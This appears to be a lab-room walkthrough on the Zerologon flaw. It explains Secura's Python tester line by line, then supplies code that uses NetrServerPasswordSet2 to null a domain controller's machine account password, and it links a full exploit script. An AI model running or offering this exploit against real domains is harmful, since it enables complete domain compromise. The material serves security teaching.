# The Proof of Concept

**Modifying and Weaponizing the PoC**\


**PoC and You -**&#x20;

Proof of Concepts are incredibly important to every exploit, without them, the exploit's are almost entirely theoretical. Fortunately, Secura was able to provide a working [Proof of Concept for Zero Logon](https://github.com/SecuraBV/CVE-2020-1472) that was 90% of the way there. We simply need to make an additional call to change the password to a null value, recall Figure 3 from Task 2, Secura was even kind enough to give us the method that we need to call ([NetrServerPasswordSet2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81)). Looking up the method within the Microsoft Documentation, it's very similar to [hNetSeverAuthenticate3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-c0ecb06e2db9), so we're going to re-use some of the same variables from that, as well as the structure.

**Analyzing the PoC -**&#x20;

Before we continue any further, you should download the PoC from Secura, which can be found here:

[https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon\_tester.py](https://raw.githubusercontent.com/SecuraBV/CVE-2020-1472/master/zerologon_tester.py)

The script may seem quite daunting at first, but it's quite simple, if you think back to Figure 1 from Task 2, you'll quickly see how it all starts to fit together. Let's start by breaking the PoC down. We're going to be this in order of execution/importance so it's easier to digest:

**Lines 3 - 13**

| <ol><li>from impacket.dcerpc.v5 import nrpc, epm<br></li><li>from impacket.dcerpc.v5.dtypes import NULL</li><li>from impacket.dcerpc.v5 import transport</li><li>from impacket import crypto</li><li></li><li>import hmac, hashlib, struct, sys, socket, time</li><li>from binascii import hexlify, unhexlify</li><li>from subprocess import check_call</li><li>MAX_ATTEMPTS = 2000</li></ol> |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Lines 1-4 import the required modules from Impacket, specifically the NRPC, EPM, Crypto, and Transport libraries. Additionally, on lines 6-8 a handful of other misc libraries are also imported, however, the Impacket libraries are the star of the show here. Lastly, on line 9, we're defining a constant (similar to a variable, but never changes) that sets the maximum number of retries for Zero Logon to 2000.

**Lines 76 - 86**

| <ol><li>if __name__ == '__main__':<br></li><li>  if not (3 &#x3C;= len(sys.argv) &#x3C;= 4):</li><li>    print('Usage: zerologon_tester.py &#x3C;dc-name> &#x3C;dc-ip>\n')</li><li>    print('Tests whether a domain controller is vulnerable to the Zerologon attack. Does not attempt to make any changes.')</li><li>    print('Note: dc-name should be the (NetBIOS) computer name of the domain controller.')</li><li>    sys.exit(1)</li><li>  else:</li><li>    [_, dc_name, dc_ip] = sys.argv</li><li></li><li>    dc_name = dc_name.rstrip('$')</li><li>    perform_attack('\\\\' + dc_name, dc_ip, dc_name)</li></ol> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |

Next we skipped down to the very bottom of the script so some other variables will make sense later, Line 1 is essentially declaring a main function within Python, Line 2 we are checking for the amount of parameters, and ensuring that it's exactly 3 (zerologon\_tester.py DCNAME IP). Lines 3-5 are printing the help menu only if it's greater than 3 arguments, or less than 2 and exiting. If the required arguments are supplied, on line 8 the arguments are being passed into two variables: dc\_name, and dc\_ip. After the arguments are passed, dc\_name is being stripped of the "$" character, as the dc\_name variable shouldn't have it. The user account name should however. Afterwards, it's passing the variables two variables and an additional, modified variable into a module called "perform\_attack".

**Lines 57 - 73**

| <ol><li>def perform_attack(dc_handle, dc_ip, target_computer):<br></li><li></li><li>  print('Performing authentication attempts...')</li><li>  rpc_con = None</li><li>  for attempt in range(0, MAX_ATTEMPTS):  </li><li>    rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)</li><li></li><li>    if rpc_con == None:</li><li>      print('=', end='', flush=True)</li><li>    else:</li><li>      break</li><li></li><li>  if rpc_con:</li><li>    print('\nSuccess! DC can be fully compromised by a Zerologon attack.')</li><li>  else:</li><li>    print('\nAttack failed. Target is probably patched.')</li><li>    sys.exit(1)</li></ol> |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Line 1 is defining where the variables are being passed into for the local function, \\\DCNAME is being passed into the dc\_handle variable, dc\_ip is being passed into dc\_ip variable, and dc\_name is being passed into the target\_computer variable. All of which will be used later, or passed into different modules.

Line 4 sets the variable rpc\_con equal to none, this will be kept track of consistently to check and see if authentication is successful, if it's not, the script will continue until 2000 retries is hit. Line 5 is where the actual retries for Zero Logon occurs in the form of a for loop. Line 6 sets the rpc\_con variable to the output of a different function called "try\_zero\_authenticate" with a couple of variables being passed to it, specifically dc\_handle, dc\_ip, and target\_computer. All of which we addressed earlier. The next lines are simply checking if rpc\_con is equal to a invalid login attempt, if it is, print =, if not, print success, if 2000 retries is hit: print attack failed.

**Lines 20-25**

| <ol><li>def try_zero_authenticate(dc_handle, dc_ip, target_computer):<br></li><li></li><li>  binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp')</li><li>  rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc()</li><li>  rpc_con.connect()</li><li>  rpc_con.bind(nrpc.MSRPC_UUID_NRPC)</li></ol> |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
Line 1 is defining the try\_zero\_authenticate function and is taking the previously mentioned 3 variables as input, and is passing them into the function. Lines 3-6 are establishing a bind and a session with NRPC over TCP/IP so that we can communicate with the domain controller.

**Lines 27-40**

| <ol><li>  plaintext = b'\x00' * 8<br></li><li>  ciphertext = b'\x00' * 8</li><li></li><li>  flags = 0x212fffff</li><li></li><li>  nrpc.hNetrServerReqChallenge(rpc_con, dc_handle + '\x00', target_computer + '\x00', plaintext)</li><li>  try:</li><li>    server_auth = nrpc.hNetrServerAuthenticate3(rpc_con, dc_handle + '\x00', target_computer + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel,target_computer + '\x00', ciphertext, flags)</li></ol> |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
Line 1 and 2 are establishing two new variables, plaintext and ciphertext containing 16 Bytes of "\x00" which will be used to exploit the Zero Logon vulnerability. Line 4 contains a variable called Flags. These are the default flags observed from a Windows 10 Client (using AES-CFB8) with the Sign and Seal bit disabled (Source/Credit: Secura).

Line 6 is where the fun beings -- This is where Step 1 beings in Figure 1, the client creates a NetrServerReqChallenge containing the following information required by the [Microsoft Documentation](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/5ad9db9f-7441-4ce5-8c7b-7b771e243d32):

| <ol><li> NTSTATUS NetrServerReqChallenge(</li><li>   [in, unique, string] LOGONSRV_HANDLE PrimaryName,</li><li>   [in, string] wchar_t* ComputerName,</li><li>   [in] PNETLOGON_CREDENTIAL ClientChallenge,</li><li> );</li></ol> |
| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
The Primary Name being the DC Handle, the Computer Name being the Target Computer, and the Client Challenge being 16 bytes of "\x00".&#x20;

And the client will receive back, which will be used in Figure 1, Step 2:

| <ol><li>NTSTATUS NetrServerReqChallenge(<br></li><li>   [out] PNETLOGON_CREDENTIAL ServerChallenge</li><li> );</li></ol> |
| ------------------------------------------------------------------------------------------------------------------------ |

\
Lines 8 sets up a try except (we'll see the rest of that in the next few lines), but in line 9 is where we actually attempt to exploit the Zero Logon vulnerability, this would be Figure 1, Step 3. This section requires a fair bit more information, per the Microsoft Documentation for [NetrServerAuthenticate3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-c0ecb06e2db9), the following is required:&#x20;

| <ol><li>NTSTATUS NetrServerAuthenticate3(<br></li><li>   [in, unique, string] LOGONSRV_HANDLE PrimaryName,</li><li>   [in, string] wchar_t* AccountName,</li><li>   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,</li><li>   [in, string] wchar_t* ComputerName,</li><li>   [in] PNETLOGON_CREDENTIAL ClientCredential,</li><li>   [in, out] ULONG * NegotiateFlags,</li><li> );</li></ol> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
On line 9, we supply the the DC\_Handle as the Primary Name, the Target Computer plus a $ as the Machine Account Name (Recall, Machine accounts do not have lockout policies), the Secure Channel Type as the Secure Channel Type previously established over RPC, the target\_computer variable as the ComputerName, the Ciphertext (16 bytes of "\x00" attempting to Abuse Zero Logon, remember there's 1-in-256 chance that the Ciphertext will be the same as the plaintext), and lastly, our flags variable that mimics those of a Windows 10 client machine.

| <ol><li> NTSTATUS NetrServerAuthenticate3(<br></li><li>   [out] PNETLOGON_CREDENTIAL ServerCredential,</li><li>   [in, out] ULONG * NegotiateFlags,</li><li>   [out] ULONG * AccountRid</li><li> );</li></ol> |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

\
Additionally, we expect to receive two (possibly 3) things back from the Server upon (hopefully) successful exploitation of Zero Logon: The ServerCredential and AccountRid, only one of which we are going to use.

&#x20;**Line 44 - 54**

| <ol><li>    assert server_auth['ErrorCode'] == 0<br></li><li>    return rpc_con</li><li></li><li>  except nrpc.DCERPCSessionError as ex:</li><li></li><li>    if ex.get_error_code() == 0xc0000022:</li><li>      return None</li><li>    else:</li><li>      fail(f'Unexpected error code from DC: {ex.get_error_code()}.')</li><li></li><li>  except BaseException as ex:</li><li>    fail(f'Unexpected error: {ex}.')</li></ol> |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Line 1 is retrieving the Error Code from the Server\_auth variable, or the variable assigned to establish an Authentication Session with the target device. If successful, we're going to return the rpc\_con variable which will inform us that we have successfully bypassed Authentication with Zero Logon. Lines 3-12 are simply Error handling lines so the program doesn't break and exit after receiving an error back.\


**End of Transmission, What's Next? -**&#x20;

And that's all there is to the Proof of Concept. It's not some giant, scary monster. It even successfully exploit the Zero Logon vulnerability for us -- but it stops and doesn't do anything further, so how do we proceed?

Good question, next we need to take a look at the Microsoft Documentation itself and see what we can do to interact with NRPC Itself. If you're not familiar with NRPC, and you're not that technical of an individual, look back at the last step in Task 2, Figure 3 (hint: It tells us what we need to do).

What's It All Mean, Doc? - After going back and peaking at Figure 3 on Task 2, or researching how to reset a password over RDP, you should have came across the following document:[https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81)\
The document outlines what information is required to change a password over NRPC. The following information is required to do so:\
\


| <p> NTSTATUS NetrServerPasswordSet2(   [in, unique, string] LOGONSRV_HANDLE PrimaryName,   [in, string] wchar_t* AccountName,   [in] NETLOGON_SECURE_CHANNEL_TYPE SecureChannelType,   [in, string] wchar_t* ComputerName,   [in] PNETLOGON_AUTHENTICATOR Authenticator,   [in] PNL_TRUST_PASSWORD ClearNewPassword<br> );<br></p> |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

Going back and looking at [NetrServerAuthenticate3](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/3a9ed16f-8014-45ae-80af-c0ecb06e2db9) and [NetrServerPasswordSet2](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/14b020a8-0bcf-4af5-ab72-cc92bc6b1d81), we already have a handful of the information required, like the Primary Name, Account Name, Secure Channel Type, and the Computer Name. So we simply need two values, the Authenticator and the ClearNewPassword value. Both of these are documented from Microsoft, so lets take a look at the [Authenticator](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/76c93227-942a-4687-ab9d-9d972ffabdab) first:\


|  typedef struct \_NETLOGON\_AUTHENTICATOR {   NETLOGON\_CREDENTIAL Credential;   DWORD Timestamp; } |
| --------------------------------------------------------------------------------------------------- |

\
And suddenly we've hit another unknown, NETLOGON\_CREDENTIAL. Fortunately, Microsoft does have documentation for [NETLOGON\_CREDENTIAL ](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/d55e2632-7163-4f6c-b662-4b870e8cc1cd)as well:\


|  typedef struct \_NETLOGON\_CREDENTIAL {   CHAR data\[8]; } NETLOGON\_CREDENTIAL,  \*PNETLOGON\_CREDENTIAL; |
| ----------------------------------------------------------------------------------------------------------- |

Per the documentation, NETLOGON\_CREDENTIAL can take 8 bytes of data, the second bullet point outlines that "the data field carries 8 bytes of encrypted data, as specified in the Netlogon Credential Computation", fortunately we know this value, thanks to Zero Logon, it's 8 bytes of Zero. In terms of the Timestamp, it's a DWORD value, so it can either be a one or a zero. Zero sounds perfectly find to me. \
In order to change the password the Microsoft Documentation states that:\
The Netlogon Password consists of 512 bytes of random padding (minus the length of the password, so junk+password) with the last four bytes indicting the length of the password, totaling 516 bytes. For the simplicity of this room, we can simply supply 516 bytes of all 00 to make a null password. Eventually, we can work towards creating our own custom password, but once again, for simplicity, we're setting it to a null value now.\
**Level Up -**\
Now that we know the required arguments to change the password via NRPC, we actually have to implement it in Python. We need to take a look at the [nrpc.py](https://github.com/SecureAuthCorp/impacket/blob/master/impacket/dcerpc/v5/nrpc.py) module within Impacket to see the required structure for how we can craft a netrServerPasswordSet2 Request:\
\


| def hNetrServerPasswordSet2(dce, primaryName, accountName, secureChannelType, computerName, authenticator, clearNewPasswordBlob):    request = NetrServerPasswordSet2()    request\['PrimaryName'] = checkNullString(primaryName)    request\['AccountName'] = checkNullString(accountName)    request\['SecureChannelType'] = secureChannelType    request\['ComputerName'] = checkNullString(computerName)    request\['Authenticator'] = authenticator    request\['ClearNewPassword'] = clearNewPasswordBlob    return dce.request(request) |
| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

As expected, most of the field nmes are the same as what Microsoft provided, except with some differences. Next, we need to know how to structure the Authenticator portion as well:\
\


| class NETLOGON\_AUTHENTICATOR(NDRSTRUCT):    structure = (        ('Credential', NETLOGON\_CREDENTIAL),        ('Timestamp', DWORD),    ) |
| ----------------------------------------------------------------------------------------------------------------------------------------- |

\
The format here is a little bit different compared to the prior, but we'll adjust accordingly when we go to slot it into the PoC, but while we're talking about sloting it into the PoC, where will our added code go?\
Our added code will go immediately before "return rpc\_con" on line 45. This is where we know we have successful authentication, we want to grab that before we return to the previous function and terminate the RPC connection. Now that we know all the required information that we'll need to add to the PoC, we'll save you the painsteaking effort of writing your own code, and you can use the pre-written code below. The above explanations should help aid in understanding it.\
\
**The Additional Code we're slotting in:**

|     newPassRequest = nrpc.NetrServerPasswordSet2()    newPassRequest\['PrimaryName'] = dc\_handle + '\x00'    newPassRequest\['AccountName'] = target\_computer + '$\x00'    newPassRequest\['SecureChannelType'] = nrpc.NETLOGON\_SECURE\_CHANNEL\_TYPE.ServerSecureChannel    auth = nrpc.NETLOGON\_AUTHENTICATOR()    auth\['Credential'] = b'\x00' \* 8    auth\['Timestamp'] = 0    newPassRequest\['Authenticator'] = auth    newPassRequest\['ComputerName'] = target\_computer + '\x00'    newPassRequest\['ClearNewPassword'] =  b'\x00' \* 516    rpc\_con.request(newPassRequest) |
| -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |

At this point, your code should be good to go, and you should be able to successfully exploit Zero Logon. If you are still having issues, you can use the following code found here:\
\
[https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py](https://raw.githubusercontent.com/Sq00ky/Zero-Logon-Exploit/master/zeroLogon-NullPass.py)

What method will allow us to change Passwords over NRPC?

What are the required fields for the method per the Microsoft Documentation?

What Opnumber is the Method?

Modify the PoC ([https://github.com/Sq00ky/Zero-Logon-Exploit](https://github.com/Sq00ky/Zero-Logon-Exploit))\
